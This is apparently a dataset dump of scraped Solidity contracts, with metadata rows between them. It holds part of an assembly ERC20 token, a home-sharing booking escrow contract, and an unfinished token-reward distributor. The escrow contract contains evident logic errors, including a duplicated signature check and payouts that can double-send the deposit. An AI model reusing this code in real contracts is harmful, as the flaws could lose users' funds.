// return _allowances[src][dst];
mstore(0x00, src)
mstore(0x20, 0x01)
mstore(0x20, keccak256(0x00, 0x40))
mstore(0x00, dst)
mstore(0x00, sload(keccak256(0x00, 0x40)))
return(0x00, 0x20)
}
}
function balanceOf(address src) external view virtual returns (uint256) {
assembly {
// return _balances[src];
mstore(0x00, src)
mstore(0x20, 0x00)
mstore(0x00, sload(keccak256(0x00, 0x40)))
return(0x00, 0x20)
}
}
function nonces(address src) external view virtual returns (uint256) {
assembly {
// return nonces[src];
mstore(0x00, src)
mstore(0x20, 0x03)
mstore(0x00, sload(keccak256(0x00, 0x40)))
return(0x00, 0x20)
}
}
function totalSupply() external view virtual returns (uint256) {
assembly {
// return _supply;
mstore(0x00, sload(0x02))
return(0x00, 0x20)
}
}
function name() external view virtual returns (string memory) {
bytes32 myName = _name;
uint256 myNameLen = _nameLen;
assembly {
// return string(bytes(_name));
mstore(0x00, 0x20)
mstore(0x20, myNameLen)
mstore(0x40, myName)
return(0x00, 0x60)
}
}
function symbol() external view virtual returns (string memory) {
bytes32 mySymbol = _symbol;
uint256 mySymbolLen = _symbolLen;
assembly {
// return string(bytes(_symbol));
mstore(0x00, 0x20)
mstore(0x20, mySymbolLen)
mstore(0x40, mySymbol)
return(0x00, 0x60)
}
}
function decimals() external pure virtual returns (uint8) {
assembly {
// return 18;
mstore(0x00, 0x12)
return(0x00, 0x20)
}
}
// solhint-disable-next-line function-max-lines
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual {
assembly {
// require(deadline >= block.timestamp, "Expired");
if gt(timestamp(), deadline) {
mstore(0x00, _EXPIRED_SELECTOR)
revert(0x00, 0x04)
}
}
bytes32 separator = DOMAIN_SEPARATOR();
assembly {
// uint256 nonce = _nonces[owner];
mstore(0x00, owner)
mstore(0x20, 0x03)
let nonceSlot := keccak256(0x00, 0x40)
let nonce := sload(nonceSlot)
// bytes32 innerHash =
// keccak256(abi.encode(_PERMIT_HASH, owner, spender, value, nonce, deadline))
let memptr := mload(0x40)
mstore(memptr, _PERMIT_HASH)
mstore(add(memptr, 0x20), owner)
mstore(add(memptr, 0x40), spender)
mstore(add(memptr, 0x60), value)
mstore(add(memptr, 0x80), nonce)
mstore(add(memptr, 0xA0), deadline)
mstore(add(memptr, 0x22), keccak256(memptr, 0xC0))
// bytes32 hash = keccak256(abi.encodePacked("\x19\x01", separator, innerHash))
mstore8(memptr, 0x19)
mstore8(add(memptr, 0x01), 0x01)
mstore(add(memptr, 0x02), separator)
mstore(memptr, keccak256(memptr, 0x42))
// address recovered = ecrecover(hash, v, r, s)
mstore(add(memptr, 0x20), v)
mstore(add(memptr, 0x40), r)
mstore(add(memptr, 0x60), s)
if iszero(staticcall(_MAX, 0x01, memptr, 0x80, memptr, 0x20)) {
revert(0x00, 0x00)
}
returndatacopy(memptr, 0x00, returndatasize())
let recovered := mload(memptr)
// require(recovered != address(0) && recovered == owner, "Invalid Signature");
if iszero(and(eq(recovered, owner), gt(recovered, 0x00))) {
mstore(0x00, _INVALID_SIG_SELECTOR)
revert(0x00, 0x04)
}
// unchecked { _nonces[owner] += 1 }
sstore(nonceSlot, add(nonce, 0x01))
// _allowances[recovered][spender] = value;
mstore(0x00, recovered)
mstore(0x20, 0x01)
mstore(0x20, keccak256(0x00, 0x40))
mstore(0x00, spender)
sstore(keccak256(0x00, 0x40), value)
// emit Approval
mstore(0x00, value)
log3(0x00, 0x20, _APPROVAL_HASH, recovered, spender)
}
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return
block.chainid == _initialChainId
? _initialDomainSeparator
: _computeDomainSeparator(keccak256(abi.encode(_name)));
}
function _mint(address dst, uint256 amount) internal virtual {
assembly {
// require(dst != address(0), "Address Zero");
if iszero(dst) {
mstore(0x00, _RECIPIENT_ZERO_SELECTOR)
revert(0x00, 0x04)
}
// _supply += amount;
let newSupply := add(amount, sload(0x02))
if lt(newSupply, amount) {
mstore(0x00, _OVERFLOW_SELECTOR)
revert(0x00, 0x04)
}
sstore(0x02, newSupply)
// unchecked { _balances[dst] += amount; }
mstore(0x00, dst)
mstore(0x20, 0x00)
let dstSlot := keccak256(0x00, 0x40)
sstore(dstSlot, add(sload(dstSlot), amount))
// emit Transfer(address(0), dst, amount);
mstore(0x00, amount)
log3(0x00, 0x20, _TRANSFER_HASH, 0x00, dst)
}
}
function _burn(address src, uint256 amount) internal virtual {
assembly {
// _balances[src] -= amount;
mstore(0x00, src)
mstore(0x20, 0x00)
let srcSlot := keccak256(0x00, 0x40)
let srcBalance := sload(srcSlot)
if lt(srcBalance, amount) {
mstore(0x00, _INSUFFICIENT_BALANCE_SELECTOR)
revert(0x00, 0x04)
}
sstore(srcSlot, sub(srcBalance, amount))
// unchecked { _supply -= amount; }
sstore(0x02, sub(sload(0x02), amount))
// emit Transfer(src, address(0), amount);
mstore(0x00, amount)
log3(0x00, 0x20, _TRANSFER_HASH, src, 0x00)
}
}
function _computeDomainSeparator(bytes32 nameHash)
internal
view
virtual
returns (bytes32 domainSeparator)
{
assembly {
let memptr := mload(0x40)
mstore(memptr, _EIP712_DOMAIN_PREFIX_HASH)
mstore(add(memptr, 0x20), nameHash)
mstore(add(memptr, 0x40), _VERSION_1_HASH)
mstore(add(memptr, 0x60), chainid())
mstore(add(memptr, 0x80), address())
domainSeparator := keccak256(memptr, 0x100)
}
}
}
| 1,380 | 11,789 |
6346a8ad8f9b1188a2c33c3df9abfb9865b5ddea8f0c3b00b88b7346162848fd
| 34,983 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/0b/0b4e31aB669D1942B34D0d269687f5E7Af797787_BBOPHomeSharing.sol
| 5,173 | 22,204 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
// File @openzeppelin/contracts/utils/[emailprotected]
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/cryptography/[emailprotected]
// OpenZeppelin Contracts (last updated v4.7.3) (utils/cryptography/ECDSA.sol)
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature)
internal
pure
returns (address, RecoverError)
{
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature)
internal
pure
returns (address)
{
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address, RecoverError) {
bytes32 s = vs &
bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address, RecoverError) {
// the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) >
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toEthSignedMessageHash(bytes memory s)
internal
pure
returns (bytes32)
{
return
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n",
Strings.toString(s.length),
s));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash)
internal
pure
returns (bytes32)
{
return
keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File contracts/BBOPHomeSharing.sol
// import openzeppelin contracts for utils address and signature
contract BBOPHomeSharing {
// contract owner (BBOP)
address private administrator;
event storePayment(address indexed _from,
uint256 _amount,
uint256 _timestamp,
string _identifier);
enum State {
Created,
Locked,
Released,
Inactive,
Refunded,
Cancelled,
Paid,
InProgress,
Dispute
}
// Payer Entity
struct Payer {
string identifier;
uint256 amount;
address hostAddress;
address payerAddress;
bool isHostSigned;
bool isPayerSigned;
uint256 deposit;
State state;
}
mapping(string => Payer) public bookingsPayedTransactions;
// modifier condition(bool condition_) {
// require(condition_);
// _;
// }
constructor() {
administrator = msg.sender;
}
function logPayedBooking(uint256 _amount,
string memory _identifier,
address _hostAddress,
bool _isHostSigned,
bool _isPayerSigned,
uint256 _deposit) internal {
bookingsPayedTransactions[_identifier] = Payer(_identifier,
_amount,
_hostAddress,
msg.sender,
_isHostSigned,
_isPayerSigned,
_deposit,
State.Paid);
emit storePayment(msg.sender, _amount, block.timestamp, _identifier);
}
// function to receive the payment to the contract and log the payment in the mapping
function payBooking(string memory _identifier,
address _hostAddress,
uint256 _deposit) external payable {
require(msg.value > 0,
"You need to send some Ether, in order to pay for booking");
// Require that the identifier is not already in the mapping
require(bookingsPayedTransactions[_identifier].amount == 0,
"The booking is already payed");
// extract the deposit from the amount and store the deposit in the mapping
logPayedBooking(msg.value,
_identifier,
_hostAddress,
false,
false,
_deposit);
}
// function to return all the values stored in the mapping if the user is the owner of the contract
function getPayedBookingDetails(string memory _identifier)
public
view
returns (Payer memory)
{
Payer memory payerOfbooking = bookingsPayedTransactions[_identifier];
return payerOfbooking;
}
// user address using openzeppelin address and signature --> PAYOUT
function payoutToHost(string memory _identifier, bytes memory _signature)
public
{
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(payerOfbooking.payerAddress ==
ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_identifier))),
_signature),
"The information provided is not correct, signature does not match");
// require to check if the transaction is already paid and InProgress
require(payerOfbooking.state == State.InProgress,
"The transaction is not locked or already paid");
// require to check if the booking was signed by the host
require(payerOfbooking.isHostSigned == true,
"The booking was not signed by the host");
// send payment to host
payable(payerOfbooking.hostAddress).transfer(payerOfbooking.amount);
// send deposit to payer
payable(payerOfbooking.payerAddress).transfer(payerOfbooking.deposit);
payerOfbooking.state = State.Released;
}
// and the user address is the same as the host address
function signBookingFromHost(string memory _identifier,
bytes memory _signature) public {
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(payerOfbooking.hostAddress ==
ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_identifier))),
_signature),
"The information provided is not correct, signature does not match");
require(payerOfbooking.state == State.Paid,
"The booking is not in paid state");
payerOfbooking.isHostSigned = true;
payerOfbooking.state = State.InProgress;
}
function releaseBookingByAdmin(string memory _identifier,
bytes memory _signature) public {
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(administrator ==
ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_identifier))),
_signature),
"The information provided is not correct, signature does not match");
require(payerOfbooking.state == State.InProgress,
"The booking is not in Payour in Progress state");
payable(payerOfbooking.hostAddress).transfer(payerOfbooking.amount);
payerOfbooking.state = State.Released;
}
function releaseBookingByAdminV2(string memory _identifier) public payable {
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(administrator == msg.sender,
"The information provided is not correct, signature does not match");
require(payerOfbooking.state == State.InProgress,
"The booking is not in Payour in Progress state");
require(payerOfbooking.isHostSigned || payerOfbooking.isHostSigned,
"A signature is required for Host or Guest");
payable(payerOfbooking.hostAddress).transfer(payerOfbooking.amount);
payerOfbooking.state = State.Released;
}
function signAndPayoutGuest(string memory _identifier) public payable {
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
// check if the booking is Released
require(payerOfbooking.state != State.Released,
"Booking was released already");
require(payerOfbooking.state == State.InProgress,
"The booking is not in InProgress state");
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(payerOfbooking.payerAddress == msg.sender,
"The information provided is not correct, signature does not match");
require(payerOfbooking.isHostSigned == true,
"The booking was not signed by the host");
payerOfbooking.isPayerSigned = true;
payerOfbooking.state = State.Released;
// extract the amount from the booking minus the deposit
uint256 amountToPay = payerOfbooking.amount - payerOfbooking.deposit;
// release the amount to the host
payable(payerOfbooking.hostAddress).transfer(amountToPay);
// send deposit to payer
payable(payerOfbooking.payerAddress).transfer(payerOfbooking.deposit);
}
function signAndPayoutHost(string memory _identifier) public payable {
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
// check if the booking is Released
require(payerOfbooking.state != State.Released,
"Booking was released already");
require(payerOfbooking.state == State.InProgress,
"The booking is not in InProgress state");
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(payerOfbooking.hostAddress == msg.sender,
"The information provided is not correct, signature does not match");
require(payerOfbooking.isPayerSigned == true,
"The booking was not signed by the guest");
payerOfbooking.isHostSigned = true;
payerOfbooking.state = State.Released;
// extract the amount from the booking minus the deposit
uint256 amountToPay = payerOfbooking.amount - payerOfbooking.deposit;
// release the amount to the host
payable(payerOfbooking.hostAddress).transfer(amountToPay);
// send deposit to payer
payable(payerOfbooking.payerAddress).transfer(payerOfbooking.deposit);
}
// method were the Host Sign the transaction and the state of booking is updated to InProgress
function signBookingFromHostV2(string memory _identifier) public {
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(payerOfbooking.hostAddress == msg.sender,
"The information provided is not correct, signature does not match");
require(payerOfbooking.state == State.Paid,
"The booking is not in paid state");
payerOfbooking.isHostSigned = true;
payerOfbooking.state = State.InProgress;
}
// method were the Guest Sign the transaction and the state of booking is updated to InProgress
function signBookingFromGuest(string memory _identifier) public {
// select the Payer from the mapping using the string received from the request
Payer storage payerOfbooking = bookingsPayedTransactions[_identifier];
require(keccak256(abi.encodePacked(payerOfbooking.identifier)) ==
keccak256(abi.encodePacked(_identifier)),
"The information provided is not correct, identifier does not match");
require(payerOfbooking.payerAddress == msg.sender,
"The information provided is not correct, signature does not match");
require(payerOfbooking.state == State.Paid,
"The booking is not in paid state");
require(payerOfbooking.isHostSigned == false,
"You should use the correct method to release the payment");
payerOfbooking.isPayerSigned = true;
payerOfbooking.state = State.InProgress;
}
}
| 52,391 | 11,790 |
a9c994b85f571f214af6f819ddada63a8ac3ab173a652a74b25e3c07f5581567
| 18,657 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/35/3526589e2ef9327a6f2825d0a4eec7bc2f7363a6_Distributor.sol
| 4,128 | 16,386 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable SLURP;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _slurp, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_slurp != address(0));
SLURP = _slurp;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function distribute2() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
